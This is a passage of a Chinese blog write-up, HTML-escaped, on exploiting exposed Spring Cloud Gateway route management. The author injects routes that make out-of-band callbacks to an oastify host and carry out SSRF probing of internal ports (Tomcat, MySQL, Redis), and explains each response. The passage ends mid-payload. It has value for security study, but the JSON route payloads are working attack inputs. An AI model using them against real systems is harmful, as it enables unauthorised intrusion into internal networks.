!important;&quot;&gt;https://xxx.com/test123/anything&lt;/code&gt;之前还需要刷新一下进行重载，但是后面碰到一个问题：&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;https://img2024.cnblogs.com/blog/3768710/202608/3768710-20260819142400231-1948968506.png&quot; alt=&quot;image&quot; loading=&quot;lazy&quot; style=&quot;box-sizing: border-box; border: 0px; max-width: 100%; cursor: zoom-in; height: auto !important; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;这里显示404，然后burp里面也没有收到相应回显，那么就可能是之前的构造有问题，需要&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;加上nginx放行的白名单前缀&lt;/strong&gt;，尝试采用&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;order&lt;/code&gt;，进行如下构造：&lt;/p&gt;&lt;pre highlighted=&quot;true&quot; style=&quot;box-sizing: border-box; transition-duration: 0.2s; transition-property: background, font-size, border-color, border-radius, border-width, padding, margin, color; overflow: auto; margin: 10px auto; color: rgb(51, 51, 51); font-size: 16px; background-color: rgb(240, 241, 243);&quot;&gt;{&amp;quot;predicates&amp;quot;:[{&amp;quot;name&amp;quot;:&amp;quot;Path&amp;quot;,&amp;quot;args&amp;quot;:{&amp;quot;_genkey_0&amp;quot;:&amp;quot;/order/test0/**&amp;quot;}}],&amp;quot;filters&amp;quot;:[],&amp;quot;uri&amp;quot;:&amp;quot;http://xxxoastify.com&amp;quot;,&amp;quot;order&amp;quot;:-100}&lt;/pre&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;然后再刷新，访问，这时候成功收到回显：&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;https://img2024.cnblogs.com/blog/3768710/202608/3768710-20260819142410224-2030684877.png&quot; alt=&quot;image&quot; loading=&quot;lazy&quot; style=&quot;box-sizing: border-box; border: 0px; max-width: 100%; cursor: zoom-in; height: auto !important; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;那么接下来便是尝试SSRF打内网了，这里先不看&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;env&lt;/code&gt;里面的内容，就先拿127.0.0.1来说，构造如下请求：&lt;/p&gt;&lt;pre highlighted=&quot;true&quot; style=&quot;box-sizing: border-box; transition-duration: 0.2s; transition-property: background, font-size, border-color, border-radius, border-width, padding, margin, color; overflow: auto; margin: 10px auto; color: rgb(51, 51, 51); font-size: 16px; background-color: rgb(240, 241, 243);&quot;&gt;{&amp;quot;predicates&amp;quot;:[{&amp;quot;name&amp;quot;:&amp;quot;Path&amp;quot;,&amp;quot;args&amp;quot;:{&amp;quot;_genkey_0&amp;quot;:&amp;quot;/order/rtest2/**&amp;quot;}}],&amp;quot;filters&amp;quot;:[],&amp;quot;uri&amp;quot;:&amp;quot;http://127.0.0.1:80&amp;quot;,&amp;quot;order&amp;quot;:-100}&lt;/pre&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;然后重载一下路由再进行访问，但是这里又返回了404：&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;https://img2024.cnblogs.com/blog/3768710/202608/3768710-20260819142431138-340409822.png&quot; alt=&quot;image&quot; loading=&quot;lazy&quot; style=&quot;box-sizing: border-box; border: 0px; max-width: 100%; cursor: zoom-in; height: auto !important; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;如果是再够一个不存在的路径，那么结构是这样的：&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;https://img2024.cnblogs.com/blog/3768710/202608/3768710-20260819142443778-246795339.png&quot; alt=&quot;image&quot; loading=&quot;lazy&quot; style=&quot;box-sizing: border-box; border: 0px; max-width: 100%; cursor: zoom-in; height: auto !important; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;这里就是一个&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;非常重要的点&lt;/strong&gt;了：&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;首先&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;/order/123&lt;/code&gt;没有匹配之前设置的&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;order/rtest2&lt;/code&gt;前缀，因此这里是&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;order&lt;/code&gt;的&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;业务路由&lt;/strong&gt;，因此会转发到订单服务，而这个首先需要进行认证，没有带上token便会抛出认证异常，那么最后便会显示如图所示的内容。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;而&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;order/rtest2&lt;/code&gt;则是&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;rtest2&lt;/strong&gt;路由接管了&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;/order/rtest2/&lt;/code&gt;流量，转发到&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;http://127.0.0.1:80&lt;/code&gt;，本机 nginx 没有匹配这个路径的&amp;nbsp;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;location&lt;/strong&gt;【即路径匹配规则】，返回默认 404&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;location一般配置如下：&lt;/p&gt;&lt;pre highlighted=&quot;true&quot; style=&quot;box-sizing: border-box; transition-duration: 0.2s; transition-property: background, font-size, border-color, border-radius, border-width, padding, margin, color; overflow: auto; margin: 10px auto; color: rgb(51, 51, 51); font-size: 16px; background-color: rgb(240, 241, 243);&quot;&gt;&amp;nbsp;&amp;nbsp;server&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;listen&amp;nbsp;80;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;路径以&amp;nbsp;/api&amp;nbsp;开头&amp;nbsp;→&amp;nbsp;转发给后端网关
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;location&amp;nbsp;/api&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_pass&amp;nbsp;http://127.0.0.1:8080;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;路径以&amp;nbsp;/static&amp;nbsp;开头&amp;nbsp;→&amp;nbsp;直接读本地静态文件
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;location&amp;nbsp;/static&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;root&amp;nbsp;/data/www;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;其他所有没匹配上的路径&amp;nbsp;→&amp;nbsp;直接返回&amp;nbsp;404
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;location&amp;nbsp;/&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;404;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;}&lt;/pre&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;再之后就是找真正在内网运行的的应用了，常见的端点都可以试一试，然后这里构造有一个技巧：&lt;/p&gt;&lt;pre highlighted=&quot;true&quot; style=&quot;box-sizing: border-box; transition-duration: 0.2s; transition-property: background, font-size, border-color, border-radius, border-width, padding, margin, color; overflow: auto; margin: 10px auto; color: rgb(51, 51, 51); font-size: 16px; background-color: rgb(240, 241, 243);&quot;&gt;&amp;nbsp;&amp;nbsp;{&amp;quot;predicates&amp;quot;:[{&amp;quot;name&amp;quot;:&amp;quot;Path&amp;quot;,&amp;quot;args&amp;quot;:{&amp;quot;_genkey_0&amp;quot;:&amp;quot;/order/rtest2/**&amp;quot;}}],
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;filters&amp;quot;:[{&amp;quot;name&amp;quot;:&amp;quot;StripPrefix&amp;quot;,&amp;quot;args&amp;quot;:{&amp;quot;_genkey_0&amp;quot;:&amp;quot;2&amp;quot;}}],
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;uri&amp;quot;:&amp;quot;http://127.0.0.1:8848&amp;nbsp;&amp;quot;,&amp;quot;order&amp;quot;:-100}&lt;/pre&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;filters 里的 StripPrefix=2&lt;/strong&gt;&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;/order/rtest2/&lt;/code&gt;是两条前缀，网关转发时默认带着原路径发给内网（GET&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;/order/rtest2/nacos/v1/cs/configs → Nacos 404&lt;/code&gt;）。&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;StripPrefix&lt;/strong&gt;&amp;nbsp;把前 N 段剥掉，内网服务收到的就是干净路径&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;/nacos/v1/cs/configs&lt;/code&gt;。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;这里又出现了第三个404界面，明显是&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;Tomcat&lt;/strong&gt;：&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;https://img2024.cnblogs.com/blog/3768710/202608/3768710-20260819142454533-1101989375.png&quot; alt=&quot;image&quot; loading=&quot;lazy&quot; style=&quot;box-sizing: border-box; border: 0px; max-width: 100%; cursor: zoom-in; height: auto !important; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;这说明&amp;nbsp;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;127.0.0.1:8848&lt;/strong&gt;&amp;nbsp;上跑的是一个空 Tomcat，没有任何应用部署在根路径&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;同时这也证明了&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;请求真的打到了网关本机的 8848 端口并拿到了应用层响应&lt;/strong&gt;，那么接下来就是尝试找内网机器了，经过一番测试首先是3306：&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;https://img2024.cnblogs.com/blog/3768710/202608/3768710-20260819142509364-375496650.png&quot; alt=&quot;image&quot; loading=&quot;lazy&quot; style=&quot;box-sizing: border-box; border: 0px; max-width: 100%; cursor: zoom-in; height: auto !important; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;finishConnect failed&lt;/code&gt;指的是网关向&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;127.0.0.1:3306&lt;/code&gt;发起 TCP 连接被拒,则MySQL 不在本机&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;然后是6379：&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;https://img2024.cnblogs.com/blog/3768710/202608/3768710-20260819142515465-1522992915.png&quot; alt=&quot;image&quot; loading=&quot;lazy&quot; style=&quot;box-sizing: border-box; border: 0px; max-width: 100%; cursor: zoom-in; height: auto !important; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;-ERR&lt;/code&gt;&amp;nbsp;是&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;Redis RESP&lt;/code&gt;&amp;nbsp;协议的&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;响应前缀&lt;/strong&gt;（-ERR unknown command ...）这里就证明了是运行着redis的，但是&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;Spring Cloud Gateway&lt;/code&gt;的 uri 只支持&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;http/https/ws&lt;/code&gt;，不支持&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;gopher&lt;/code&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;然后其他几个常见端口也测过了也没有东西，还想测内网的话那么就得到&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;env&lt;/code&gt;里面去找内网地址了，这里就不具体放出来了，主要是其中一个ip和端口号，构造如下请求：&lt;/p&gt;&lt;pre highlighted=&quot;true&quot; style=&quot;box-sizing: border-box; transition-duration: 0.2s; transition-property: background, font-size, border-color, border-radius, border-width, padding, margin, color; overflow: auto; margin: 10px auto; color: rgb(51, 51, 51); font-size: 16px; background-color: rgb(240, 241, 243);&quot;&gt;&amp;nbsp;&amp;nbsp;{&amp;quot;predicates&amp;quot;:[{&amp;quot;name&amp;quot;:&amp;quot;Path&amp;quot;,&amp;quot;args&amp;quot;:{&amp;quot;_genkey_0&amp;quot;:&amp;quot;/order/rtest2/**&amp;quot;}}],
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;filters&amp;quot;:[{&amp;quot;name&amp;quot;:&amp;quot;StripPrefix&amp;quot;,&amp;quot;args&amp;quot;:{&amp;quot;_genkey_0&amp;quot;:&amp;quot;2&amp;quot;}}],
